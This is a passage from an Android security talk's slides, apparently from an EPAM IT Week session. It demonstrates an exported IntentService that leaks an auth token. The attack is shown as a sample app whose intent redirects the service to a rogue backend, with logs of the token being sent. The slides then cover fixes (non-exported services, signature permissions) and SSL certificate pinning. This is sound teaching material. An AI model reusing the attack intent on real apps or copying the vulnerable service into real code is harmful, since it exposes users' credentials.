  • 16. Update Data Service public class UpdateDataIntentService extends IntentService { ... private void performDataUpdate(String url) { Request request = new Request.Builder() .url(url) .addHeader(TOKEN, AuthManager.getInstance().getToken()) .build(); OkHttpClient client = new OkHttpClient(); Response response = client.newCall(request).execute(); String newData = response.body().string(); storeDataInDb(newData); } ... }
  • 17. Update Data Service public class RegularDataActivity extends Activity { private static final String URL_PRODUCTION_BACKEND = "http://google.com"; ... @OnClick(R.id.update) void onUpdateDataClick() { UpdateDataIntentService.startDataUpdate(this, URL_PRODUCTION_BACKEND); } }
  • 18. Update Data Service public class RegularDataActivity extends Activity { private static final String URL_PRODUCTION_BACKEND = "http://google.com"; ... @OnClick(R.id.update) void onUpdateDataClick() { UpdateDataIntentService.startDataUpdate(this, URL_PRODUCTION_BACKEND); } }
  • 19. Update Data Service public class RegularDataActivity extends Activity { private static final String URL_PRODUCTION_BACKEND = "http://google.com"; ... @OnClick(R.id.update) void onUpdateDataClick() { UpdateDataIntentService.startDataUpdate(this, URL_PRODUCTION_BACKEND); } }
  • 20. Update Data Service 08-02 15:55:43.034 21021- 21176/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService﹕ ⇢ onHandleIntent(intent=Intent { act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA cmp=com.epam.itweek.commonsensesecurity.downloader/.UpdateDataIntentService (has extras) }) @Thread:IntentService[UpdateDataIntentService] 08-02 15:55:43.439 21021- 21176/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService﹕ performDataUpdate: backend: [http://google.com] 08-02 15:55:43.440 21021- 21176/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService﹕ performDataUpdate: token sent to backend: [secure_token] 08-02 15:55:43.440 21021- 21176/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService﹕ ⇠ onHandleIntent [405ms]
  • 21. Update Data Service 08-02 15:55:43.034 21021- 21176/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService﹕ ⇢ onHandleIntent(intent=Intent { act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA cmp=com.epam.itweek.commonsensesecurity.downloader/.UpdateDataIntentService (has extras) }) @Thread:IntentService[UpdateDataIntentService] 08-02 15:55:43.439 21021- 21176/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService﹕ performDataUpdate: backend: [http://google.com] 08-02 15:55:43.440 21021- 21176/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService﹕ performDataUpdate: token sent to backend: [secure_token] 08-02 15:55:43.440 21021- 21176/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService﹕ ⇠ onHandleIntent [405ms]
  • 22. Update Data Service <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" > ... <service android:name=".UpdateDataIntentService" > <intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter> </service> ... </manifest>
  • 23. Attack Update Data Service <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloaderattaccker" > ... </manifest>
  • 24. Attack Update Data Service <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloaderattaccker" > ... </manifest>
  • 25. Attack Update Data Service public class AttackDownloaderActivity extends Activity { public static final String URL_ROGUE_BACKEND = "http://bing.com"; ... @OnClick(R.id.attackDownloader) void onAttackClicked() { Intent intent = new Intent( "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"); ResolveInfo resolveInfo = getPackageManager().resolveService(intent, 0); intent.setClassName(resolveInfo.serviceInfo.packageName, resolveInfo.serviceInfo.name); intent.putExtra("com.epam.itweek.commonsensesecurity.extra.URL", URL_ROGUE_BACKEND); startService(intent); } }
  • 26. Attack Update Data Service public class AttackDownloaderActivity extends Activity { public static final String URL_ROGUE_BACKEND = "http://bing.com"; ... @OnClick(R.id.attackDownloader) void onAttackClicked() { Intent intent = new Intent( "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"); ResolveInfo resolveInfo = getPackageManager().resolveService(intent, 0); intent.setClassName(resolveInfo.serviceInfo.packageName, resolveInfo.serviceInfo.name); intent.putExtra("com.epam.itweek.commonsensesecurity.extra.URL", URL_ROGUE_BACKEND); startService(intent); } }
  • 27. Attack Update Data Service public class AttackDownloaderActivity extends Activity { public static final String URL_ROGUE_BACKEND = "http://bing.com"; ... @OnClick(R.id.attackDownloader) void onAttackClicked() { Intent intent = new Intent( "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"); ResolveInfo resolveInfo = getPackageManager().resolveService(intent, 0); intent.setClassName(resolveInfo.serviceInfo.packageName, resolveInfo.serviceInfo.name); intent.putExtra("com.epam.itweek.commonsensesecurity.extra.URL", URL_ROGUE_BACKEND); startService(intent); } }
  • 28. Attack Update Data Service public class AttackDownloaderActivity extends Activity { public static final String URL_ROGUE_BACKEND = "http://bing.com"; ... @OnClick(R.id.attackDownloader) void onAttackClicked() { Intent intent = new Intent( "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"); ResolveInfo resolveInfo = getPackageManager().resolveService(intent, 0); intent.setClassName(resolveInfo.serviceInfo.packageName, resolveInfo.serviceInfo.name); intent.putExtra("com.epam.itweek.commonsensesecurity.extra.URL", URL_ROGUE_BACKEND); startService(intent); } }
  • 29. Attack Update Data Service 08-02 15:59:10.197 21021- 22014/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService﹕ ⇢ onHandleIntent(intent=Intent { act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA cmp=com.epam.itweek.commonsensesecurity.downloader/.UpdateDataIntentService (has extras) }) @Thread:IntentService[UpdateDataIntentService] 08-02 15:59:10.616 21021- 22014/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService﹕ performDataUpdate: backend: [http://bing.com] 08-02 15:59:10.616 21021- 22014/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService﹕ performDataUpdate: token sent to backend: [secure_token] 08-02 15:59:10.616 21021- 22014/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService﹕ ⇠ onHandleIntent [419ms]
  • 30. Attack Update Data Service 08-02 15:59:10.197 21021- 22014/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService﹕ ⇢ onHandleIntent(intent=Intent { act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA cmp=com.epam.itweek.commonsensesecurity.downloader/.UpdateDataIntentService (has extras) }) @Thread:IntentService[UpdateDataIntentService] 08-02 15:59:10.616 21021- 22014/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService﹕ performDataUpdate: backend: [http://bing.com] 08-02 15:59:10.616 21021- 22014/com.epam.itweek.commonsensesecurity.downloader W/UpdateDataIntentService﹕ performDataUpdate: token sent to backend: [secure_token] 08-02 15:59:10.616 21021- 22014/com.epam.itweek.commonsensesecurity.downloader D/UpdateDataIntentService﹕ ⇠ onHandleIntent [419ms]
  • 31. Attack Update Data Service UpdateDataIntentService has just handed off our secure token to a stranger server… This is not good...
  • 32. Attack Update Data Service UpdateDataIntentService has just handed off our secure token to a stranger server… This is not good...
  • 33. Secure Update Data Service We have to do something about it…
  • 34. Do Not Export Update Data Service <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" > ... <service android:name=".UpdateDataIntentService" android:exported="false" /> ... </manifest>
  • 35. Do Not Export Update Data Service <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" > ... <service android:name=".UpdateDataIntentService" android:exported="false" /> ... </manifest>
  • 36. Do Not Export Update Data Service <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" > ... <service android:name=".UpdateDataIntentService" android:exported="false" /> ... </manifest>
  • 37. Attack Not Exported Update Data Service 08-02 17:22:00.720 11702-11702/ com.epam.itweek.commonsensesecurity.downloaderattaccker.notexported E/AndroidRuntime﹕ FATAL EXCEPTION: main Process: com.epam.itweek.commonsensesecurity.downloaderattaccker.notexported, PID: 11702 java.lang.SecurityException: Not allowed to start service Intent { act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA cmp=com.epam.itweek.commonsensesecurity.downloader.notexported/com.epam.itw eek.commonsensesecurity.downloader.UpdateDataIntentService (has extras) } without permission not exported from uid 10191 at android.app.ContextImpl.startServiceCommon(ContextImpl.java:1639) at android.app.ContextImpl.startService(ContextImpl.java:1616) at android.content.ContextWrapper.startService(ContextWrapper.java:505) at com.epam.itweek.commonsensesecurity.downloaderattaccker.AttackDownloaderAct ivity.onAttackClicked(AttackDownloaderActivity.java:30) ...
  • 38. Update Data Service With Permission <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" > <permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:description="@string/permission_description" android:protectionLevel="signature" /> <uses-permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE"/> <service android:permission= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:name=".UpdateDataIntentService" > <intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter> </service> </manifest>
  • 39. Update Data Service With Permission <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" > <permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:description="@string/permission_description" android:protectionLevel="signature" /> <uses-permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE"/> <service android:permission= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:name=".UpdateDataIntentService" > <intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter> </service> </manifest>
  • 40. Update Data Service With Permission <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" > <permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:description="@string/permission_description" android:protectionLevel="signature" /> <uses-permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE"/> <service android:permission= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:name=".UpdateDataIntentService" > <intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter> </service> </manifest>
  • 41. Update Data Service With Permission <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" > <permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:description="@string/permission_description" android:protectionLevel="signature" /> <uses-permission android:name= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE"/> <service android:permission= "com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE" android:name=".UpdateDataIntentService" > <intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter> </service> </manifest>
  • 42. Attack Update Data Service With Permission 08-02 17:26:08.350 12460-12460/ com.epam.itweek.commonsensesecurity.downloaderattaccker.withpermission E/AndroidRuntime﹕ FATAL EXCEPTION: main Process: com.epam.itweek.commonsensesecurity.downloaderattaccker.withpermission, PID: 12460 java.lang.SecurityException: Not allowed to start service Intent { act=com.epam.itweek.commonsensesecurity.action.UPDATE_DATA cmp=com.epam.itweek.commonsensesecurity.downloader.withpermission/com.epam. itweek.commonsensesecurity.downloader.UpdateDataIntentService (has extras) } without permission com.epam.itweek.commonsensesecurity.downloader.permission.UPDATE at android.app.ContextImpl.startServiceCommon(ContextImpl.java:1639) at android.app.ContextImpl.startService(ContextImpl.java:1616) at android.content.ContextWrapper.startService(ContextWrapper.java:505) at com.epam.itweek.commonsensesecurity.downloaderattaccker.AttackDownloaderAct ivity.onAttackClicked(AttackDownloaderActivity.java:30) ...
  • 43. Reference: Real-life vulnerabilities ● Unauthorized Origin Crossing on Mobile Platforms: Threats and Mitigation o academic paper - http://goo.gl/4wAO93 o Ars Technica article on the topic - http://goo.gl/3KXUVD o Developer’s point of view - http://goo.gl/X2tETV ● Android OEM’s applications (in)security and backdoors without permission o http://goo.gl/0eHVnx o by Andr´e Moulu from QuarksLab o interesting starts at slide #75 o read from beginning if you want to know why Samsung software is crap low quality
  • 44. SSL and its problems There are 3 types of software: data producers, data consumers and bad guys in between them
  • 45. SSL ● Encrypts network communication ● with a generated session secret ● using server’s X.509 certificate ● relies on Certificate Authorities for certificate validity Designed for use in general purpose network communication tools: ● Browsers ● Email clients ● IM clients
  • 46. SSL ● Encrypts network communication ● with a generated session secret ● using server’s X.509 certificate ● relies on Certificate Authorities for certificate validity Designed for use in general purpose network communication tools: ● Browsers ● Email clients ● IM clients
  • 47. SSL Client makes sure that certificate: ● has a verifiable chain of trust back to a trusted (root) certificate ● matches the requested hostname And this is good! Browsers verify website's identity via trusted CAs because they simply don’t know whom they will be communicating with the other day. But this is also bad! Client does not check if it is your certificate, the one you uploaded to your server.
  • 48. SSL and its problems ● Man In The Middle (MITM) Attacks ○ Hacked CAs (Comodo, DigiNotar, TurkTrust) ○ Social engineering ("Free wifi! Just add this root cert to your device!") ○ NSA ● Complex nature, so implementations are sometimes buggy ● Others?
  • 50.
  • 51.
  • 52.
  • 53. Google Play Services The Security API allows you to easily install a dynamic security provider. New versions of Google Play Services will keep the security provider up-to-date with the latest security fixes as those become available.
  • 54. Google Play Services - Security API ProviderInstaller.installIfNeeded(getApplicationContext())
  • 55. SSL Pinning on Android
  • 56. Pinning A pin is a hex-encoded hash of a X.509 certificate's SubjectPublicKeyInfo. Library is available for your needs: dependencies { compile 'org.thoughtcrime.ssl.pinning:AndroidPinning:1.0.0'}
  • 57. Pinning - HttpsURLConnection String[] pins = new String[] {"f30012bbc18c231ac1a44b788e410ce754182513"}; URL url = new URL("https://www.google.com"); HttpsURLConnection connection = PinningHelper.getPinnedHttpsURLConnection(context, pins, url);
  • 58. Pinning - HttpClient String[] pins = new String[] {"f30012bbc18c231ac1a44b788e410ce754182513"}; HttpClient httpClient = PinningHelper.getPinnedHttpClient(context, pins);HttpResponse response = httpClient.execute( new HttpGet("https://www.google.com/"));
  • 59. PinningTrustManager & PinningSSLSocketFactory String[] pins = new String[] {"40c5401d6f8cbaf08b00edefb1ee87d005b3b9cd"};SchemeRegistry schemeRegistry = new SchemeRegistry();schemeRegistry.register( new Scheme("http", PlainSocketFactory.getSocketFactory(), 80));schemeRegistry.register(new Scheme("https", new PinningSSLSocketFactory(getContext() ,pins, 0), 443));HttpParams httpParams = new BasicHttpParams();ClientConnectionManager connectionManager = new ThreadSafeClientConnManager(httpParams, schemeRegistry);DefaultHttpClient httpClient = new DefaultHttpClient(connectionManager, httpParams);HttpResponse response = httpClient.execute( new HttpGet("https://www.google.com/"));
  • 60. References ● Why app developers should care about SSL pinning - http://goo.gl/eoc0ij ● Your app shouldn't suffer SSL's problems - http://goo.gl/lpMVFD ● SSL on Android: The Basics - http://goo.gl/TgAK7N ● SSL on Android: Memorizing and Pinning - http://goo.gl/Ut3ysD ● PSA: WebView, Chrome Accept Revoked SSL Certificates - http://goo.gl/ds6Fjd ● More on Android and Revoked SSL Certificates - http://goo.gl/Qg7mfv ● Usage: TrustManagerBuilder - http://goo.gl/rnDwzp ● Certificate pinning in Android 4.2 - http://goo.gl/ut5xpA
  • 61. Thank you! Q&A Slides available at http://goo.gl/jAfLvz